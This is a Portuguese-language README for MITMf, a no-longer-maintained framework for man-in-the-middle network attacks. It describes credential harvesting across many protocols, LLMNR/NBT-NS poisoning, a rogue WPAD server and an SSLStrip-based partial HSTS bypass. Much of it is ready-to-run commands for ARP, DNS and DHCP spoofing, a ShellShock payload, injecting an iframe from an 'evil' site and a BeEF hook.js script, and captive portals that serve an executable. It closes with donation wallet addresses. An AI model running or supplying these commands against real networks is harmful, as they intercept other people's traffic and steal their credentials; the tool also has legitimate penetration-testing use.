Framework para ataques Man-In-The-Middle
Framework para ataques Man-In-The-Middle
Este projeto não está mais sendo atualizado. O MITMf foi criado para atender à necessidade, na época, de uma ferramenta moderna para realizar ataques Man-In-The-Middle. Desde então, muitas outras ferramentas foram criadas para preencher esse espaço; você provavelmente deveria usar o Bettercap, pois é muito mais completo em funcionalidades e melhor mantido.
Tutoriais rápidos, exemplos e atualizações para desenvolvedores em: https://byt3bl33d3r.github.io
Esta ferramenta é baseada no sergio-proxy e é uma tentativa de reviver e atualizar o projeto.
Entre em contato comigo:
Antes de enviar issues, leia a relevante na wiki.
Consulte a wiki para instruções de instalação
O MITMf tem como objetivo fornecer uma solução completa para ataques Man-In-The-Middle e de rede, ao mesmo tempo que atualiza e melhora os ataques e técnicas existentes.
Originalmente construído para resolver as deficiências significativas de outras ferramentas (por exemplo, Ettercap, Mallory), foi quase completamente reescrito do zero para fornecer uma estrutura modular e facilmente extensível que qualquer pessoa pode usar para implementar seu próprio ataque MITM.
A estrutura contém servidores SMB, HTTP e DNS embutidos que podem ser controlados e usados pelos vários plugins. Também contém uma versão modificada do proxy SSLStrip que permite modificação de HTTP e um bypass parcial de HSTS.
A partir da versão 0.9.8, o MITMf suporta filtragem e manipulação ativa de pacotes (basicamente o que os etterfilters faziam, só que melhor), permitindo que os usuários modifiquem qualquer tipo de tráfego ou protocolo.
O arquivo de configuração pode ser editado em tempo real enquanto o MITMf está em execução; as alterações são propagadas pela estrutura: isso permite ajustar as configurações de plugins e servidores durante um ataque.
O MITMf capturará credenciais FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (strings de comunidade), NTLMv1/v2 (todos os protocolos suportados, como HTTP, SMB, LDAP etc.) e Kerberos usando o Net-Creds, que é executado na inicialização.
A integração com o Responder permite envenenamento LLMNR, NBT-NS e MDNS e suporte a servidor WPAD rogue.
Agora você pode modificar qualquer pacote/protocolo que for interceptado pelo MITMf usando Scapy! (chega de etterfilters! yay!)
Por exemplo, aqui está um filtro idiota que apenas altera o endereço IP de destino de pacotes ICMP:
if packet.haslayer(ICMP):
log.info('Got an ICMP packet!')
packet.dst = '192.168.1.0'
packet para acessar o pacote em um formato compatível com Scapydata para acessar os dados brutos do pacoteAgora, para usar o filtro, basta: python mitmf.py -F ~/filter.py
Você provavelmente vai querer combinar isso com o plugin Spoof para realmente interceptar pacotes de outra pessoa ;)
Nota: você pode modificar os filtros em tempo real sem reiniciar o MITMf!
O uso mais básico, inicia o proxy HTTP, servidores SMB, DNS, HTTP e o Net-Creds na interface enp3s0:
python mitmf.py -i enp3s0
Envenenar ARP em toda a sub-rede com o gateway em 192.168.1.1 usando o plugin Spoof:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
O mesmo que acima + um servidor proxy WPAD rogue usando o plugin Responder:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
Envenenar ARP em 192.168.1.16-45 e 192.168.0.1/24 com o gateway em 192.168.1.1:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
Habilitar spoofing de DNS enquanto envenena ARP (os domínios a serem falsificados são obtidos do arquivo de configuração):
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
Habilitar spoofing LLMNR/NBTNS/MDNS:
python mitmf.py -i enp3s0 --responder --wredir --nbtns
Habilitar spoofing DHCP (o pool de IP e a sub-rede são obtidos do arquivo de configuração):
python mitmf.py -i enp3s0 --spoof --dhcp
O mesmo que acima com um payload ShellShock que será executado se algum cliente estiver vulnerável:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
Injetar um IFrame HTML usando o plugin Inject:
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
Injetar um script JS:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
Iniciar um portal cativo que redireciona tudo para http://SERVER/PATH:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
Iniciar portal cativo em http://your-ip/portal.html usando a página padrão /portal.html (obrigado responder) e /CaptiveClient.exe (não incluído) da pasta config/captive:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
O mesmo que acima, mas com o hostname captive.portal em vez de IP (requer que captive.portal resolva para seu IP, por exemplo, via spoof de DNS):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
Servir um portal cativo com uma instância adicional do SimpleHTTPServer servindo o LOCALDIR em http://IP:8080 (alterar a porta no mitmf.config):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
O mesmo que acima, mas com hostname:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
E muito mais!
Claro, você pode misturar e combinar praticamente qualquer plugin (por exemplo, ARP spoof + inject + Responder etc.)
Para uma lista completa de opções disponíveis, execute python mitmf.py --help
BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr